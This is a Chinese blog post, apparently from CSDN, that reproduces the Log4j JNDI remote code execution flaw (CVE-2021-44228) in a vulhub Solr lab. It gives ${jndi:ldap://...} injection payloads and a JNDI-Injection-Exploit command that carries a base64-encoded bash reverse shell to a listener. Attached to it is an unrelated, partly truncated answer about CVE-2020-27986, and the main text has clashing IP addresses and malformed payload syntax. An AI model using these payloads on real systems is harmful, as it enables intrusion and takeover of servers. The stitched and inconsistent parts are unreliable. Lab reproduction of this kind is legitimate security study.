log4j远程代码执行(CVE-2021-44228)

漏洞简介

Apache Log4j是一款非常受欢迎的Java日志记录框架,广泛应用于企业级应用和各种互联网产品中。然而,近期公开的CVE-2021-44228漏洞给这个稳定的框架带来了严重威胁。这个漏洞允许攻击者在受影响的系统上执行任意代码,可能导致敏感数据泄露、系统被完全控制等严重后果。该漏洞的产生主要源于Log4j的某些功能在处理特定输入时存在安全缺陷。攻击者可以通过精心构造的输入,利用Java的反射机制,触发特定条件下的代码执行。这意味着,如果攻击者能够成功发送恶意输入,他们就可以在目标系统上执行任意命令,从而实现对系统的完全控制。

攻击过程

a.攻击者发送一个HTTP请求,其用户名为${jndi://rmi:服务器地址/Exploit}

b.被攻击服务器发现要输出的信息中有 ${},则其中的内容要单独处理,进一步解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。

c.RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端 文件下载服务器上含有恶意代码的class文件。

d.被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。

e.被攻击服务器下载恶意class文件并执行其中的恶意代码。

LDAP

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中

a.假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}

b.被攻击服务器发现要输出的信息中有 ${},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp

c.解析到ldap,就会去192.168.61.129:1099的ldap服务找名为exp的资源,如果找不到就会去http服务中找,在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害

环境搭建

选择vulhub-master作为靶场环境

进入目录 然后直接docker-compose up -d 没权限的加sudo

然后访问http://192.168.149.129:8983 (我这里是windows代理出来了)你在虚拟机里面是127.0.0.1:8983

搭建成功

漏洞复现

Dashboard - requestrepo.com 大佬都在用的dns网站或者其他的都行

dnspoc
/solr/admin/cores?action=${jndi:ldap://xxxxxxxx.io} #ladp是协议,后的地址dns地址

dns收到请求

利用JNDIExploit攻击

大家先去下载

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

然后利用找一台公网能弹shell的服务器 然后运行生成payload

[~]#棱角 ::Edge.Forum*在棱角社区在这个反弹shell的payload

然后运行命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4yMi84ODk5IDA+JjE=|{bash,-i}"
-A "172.27.72.178"

访问下面的生成的链接作为payload

同时服务器开启监听

${jndi:ldap://ip:port/bltvbo}

执行服务器收到链接

至此复现成功。

参考文章:

Log4j 远程代码执行漏洞解析(CVE-2021-44228)复现_log4j远程代码执行漏洞复现-CSDN博客

  • 12
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要复现CVE-2020-27986漏洞,你可以按照以下步骤进行操作: 1. 首先,确保你已经安装好了Python,并且已经下载了相应的脚本。 2. 下载并运行SonarQube,你可以使用Docker运行SonarQube容器并设置端口。运行以下命令创建并启动SonarQube容器: ``` docker run -d -p 9000:9000 -p 9092:9092 sonarqube ``` 这将在你的本地主机上的9000端口上启动SonarQube服务。 3. 下载并运行CVE-2020-27986漏洞检测脚本。你可以从提供的CSDN链接中找到脚本并下载。确保将脚本保存在你的本地环境中。 4. 打开终端或命令行界面,并导航到保存了CVE-2020-27986漏洞检测脚本的目录。 5. 运行脚本,使用以下命令: ``` python 检测脚本.py ``` 替换"检测脚本.py"为你实际保存的脚本文件名。 6. 脚本将开始检测CVE-2020-27986漏洞。***0-27986漏洞。 请注意,复现漏洞是为了测试和研究目的,必须在合法和道德的框架内进行。在复现漏洞之前,请确保你已经获得了相应的授权,并且仅在合法的环境中进行。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-27986(SonarQube敏感信息泄露)漏洞复现](https://blog.csdn.net/dreamthe/article/details/121617470)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-8163:CVE-2020-8163-在Rails中远程执行用户提供的本地名称的代码](https://download.csdn.net/download/weixin_42151305/15663762)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值